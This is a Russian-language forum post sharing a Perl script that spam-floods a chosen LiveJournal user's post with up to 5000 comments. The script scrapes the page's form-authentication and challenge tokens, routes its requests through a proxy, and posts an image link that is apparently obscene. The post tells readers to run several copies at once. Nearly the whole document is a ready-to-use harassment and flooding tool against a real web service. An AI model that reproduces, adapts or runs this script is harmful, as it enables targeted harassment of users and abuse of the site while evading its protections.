Собственно вот... актив пёрл в зубы и вперёд... для много поточности запускием несколько раз...
Код:
#!C:/Perl/bin/perl.exe
# Written by Lat1n0S
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use IO::Socket;
$login = "bu444"; # Логин которым будем флудить
$password = "x44444c6x"; # Пароль от логина
$user = "yappy"; # Юзер ЖЖ,которого будем флудить.(Например:wh (это будет wh.livejournal.com))
$topic = "22860"; # Номер топика в котором флудить.
$num = 5000; # Число сообщений с флудом.
$proxy = "12444440:80"; # HTTP-Proxy сервер
$body = "<img src=http://img244.imageshack.us/img244/4366/huj1kr.jpg>"; # Текст сообщения
print "Process started!\n";
$v=1;
for ( 1 .. $num ) {
$subject = rand;
$subject =~ s/^..//ig;
$socket = IO::Socket::INET->new(
PeerAddr => "$user.livejournal.com",
PeerPort => 80,
Proto => tcp
)
or die print "Unable to connect\n";
printf $socket ("GET http://$user.livejournal.com/$topic.html?mode=reply HTTP/1.0\nConnection: close\r\n\r\n");
while (<$socket>) {
if (/talkpost_do.bml/) { $var = $_; }
}
close($socket);
$var =~ s/.+name="lj_form_auth" value="(\S+)".+//ig;
$lj_form_auth = $1;
$var =~s/.+name='chal' id='login_chal' value='(\S+)'.+name="chrp1" value="(\S+)".+//ig;
$chal = $1;
$chrp1 = $2;
$ua = LWP::UserAgent->new;
$ua->proxy( http => "http://$proxy" );
my $req = POST 'http://livejournal.com/talkpost_do.bml',
[
chal => $chal,
response => "",
replyto => "0",
parenttalkid => "0",
itemid => $topic,
journal => $user,
chrp1 => $chrp1,
oidurl => "",
usertype => "user",
userpost => $login,
password => $password,
do_login => on,
subject => $subject,
subjecticon => "none",
body => $body,
submitpost => "Добавить комментарий"
];
my $res = $ua->request($req);
print "$v\n";++$v;
}
print "Ok!\n";